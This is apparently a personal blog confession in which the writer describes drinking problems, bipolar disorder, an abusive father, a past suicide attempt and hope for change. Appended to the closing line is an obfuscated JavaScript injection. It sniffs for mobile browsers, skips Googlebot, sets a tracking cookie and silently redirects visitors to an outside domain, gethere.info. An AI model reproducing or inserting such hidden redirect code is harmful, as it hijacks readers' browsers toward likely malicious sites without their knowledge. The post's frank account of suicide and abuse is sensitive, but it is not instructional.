A Confession…

Hey all,

It’s 6am, and I really need to talk to someone. So I’m going to write this as if I’m talking to you about it.

My name is Adam and I have a drinking problem. It’s not frequency that is the issue, I don’t really drink that often (though I do have my moments) but it’s more unhealthy drinking practices. I drink on an empty stomach, and it’s not like I’m an abusive drunk. It’s the memory blanks and the shame that’s the hardest thing to deal with. It’s the fact that at the end of the day, I’m always going to be me…

Why do I hide myself from the world? Maybe it’s because I rarely feel like I’m an actual part of it. It’s really hard to explain, but I’m going to try. When I drink, I just find it easier to express myself emotionally with people whom I love. Besides “her” there’s honestly no one else I can open up to like that in a sober way. It’s really sad actually. But at the same time, what we have is special. And I wouldn’t trade that for the world.

Being bipolar makes emotions hard to accept and handle. Everything I feel is in extremes. Happiness, Sadness.. all of the above. It creates a wedge between myself and everyone else. It makes me feel like I’m damaged inside. Like the real me is hiding deep down. I’ve been hiding and escaping for my whole life. I don’t understand how I became this way. I hate myself in a way. I hate that I’ve been hiding behind these goddamn walls and masks for as long as I can remember. It’s easy when I drink to be charming and funny. To be someone other people can like. I just feel so… different from most people. It’s hard feeling so misunderstood.

I hate that I can only feel comfortable around a few people. I hate that only “she” makes me feel human.

I’m tired of hiding behind a mask. I’m going to tell you about the first time I started wearing a mask in the “outside world”

It started as a kid, having to be affectionate and protective of my mother and sister when growing up with an abusive alcoholic father. It gave me purpose, to be the rock they needed me to be. It was just so much easier to be who they needed at the time. It was going to school with a black eye and having to pretend everything at home was normal. It was being terrified of my father. And it took my sister almost dying to find some assertiveness and finding the courage to fight back against the man who I hated so much.  I’ve never felt so strong and so proud of myself as I did in that moment, when I stood in front of my father and swore to give up my life to protect my family. Obviously it’s still effecting me…I’ve always found my worth in others. I like who I am, at least I think I do. Because I know the man who lies deep down inside me. I would hide away in my room and as a 31-year-old man, I’m still that little boy. Hiding from the world. This time, the hiding place is the one place that no one can hurt me. Inside my head.

Truly, it’s those whom you let into you’re heart that hurt you the most.

The first time I ever really got my heart seriously broken… people said I changed. And it’s true. I did change. It was the relationship that I gave and gave and gave and it still turned to shit, that I was going to look after myself. I really do have so much to give, but I can’t allow myself to give away that part of me to just anyone. It hurts far too much when it goes bad. And I don’t have a knight in shining armour to come and save me. So I’m going to save myself. After that, the allure of the protective walls was almost too hard to deny. A few years ago, I used to wrap it up in stories and lies created to simply allow others to like me. But deep down I would resent them for not liking the real me, just this “pretender” who wore my skin and spoke with my voice. I wanted to show them the real guy inside all the bullshit, but it’s these damn walls I’ve been constructing and the masks I’ve hid myself behind that are hard to get past.

I know things can go bad. It’s a part of life. But I guess deep down I blame myself for all of it. I blame myself for letting someone hurt me, whether it be a girl, my father or someone else. but really you can’t hide your heart from the world. There’s so much to miss if you do. You’ll spend your life wondering “What If?” otherwise. I know what I want to do, but I just don’t know if I can. All the roads point to somewhere else. Away from here,  a new life. I want to reboot my life… Start over somewhere new. A new place, a new me. But I know it’s all just a pipe dream. I’m trying so hard to make some sense of it all. It’s a work in progress.

A friend said I need to find some self-worth. And she’s right… it’s true. I find my worth with her, and my friends. But I feel like everything I touch, turns to shit. Like everything I desire most in the world isn’t destined for me. I feel like I’m not meant to be happy. Like it was part of my design, like a piece missing and I’m destined to forever chase that piece of me that is missing. I used to chase the feeling with sex, drugs and alcohol. But I didn’t want to be that guy anymore, because it was all so empty. Nothing ever makes me feel fulfilled, besides writing and “her” it’s so damn frustrating. I just want to feel like it’s okay to be me. Damaged and all. I am how I am… I like to tell myself. But honestly, I’m not happy with how things are. I’m still haunted by a life I’ve been trying to escape from. I want to feel something normal, but I don’t know if I ever can be.

But I have to learn to accept that. Maybe someday, you all can too.

Mum and some close friends have always been worried that I’ll kill myself. I’ve attempted suicide before, and as much as I romanticized it, when I woke up in the morning.. I came to realize that I didn’t really want to die. I just didn’t want to feel… this. I love being alive and mostly because I have love and hope in my heart. Hope that one day maybe soon, maybe not, that I will find that place inside myself. I just want to be happy. I don’t want to not feel like such a fuck up.

I guess I’m just waiting for that moment again. When I can step up and prove I’m worth a damn. I am just so tired of feeling so damn alone in this world.

Til next time…var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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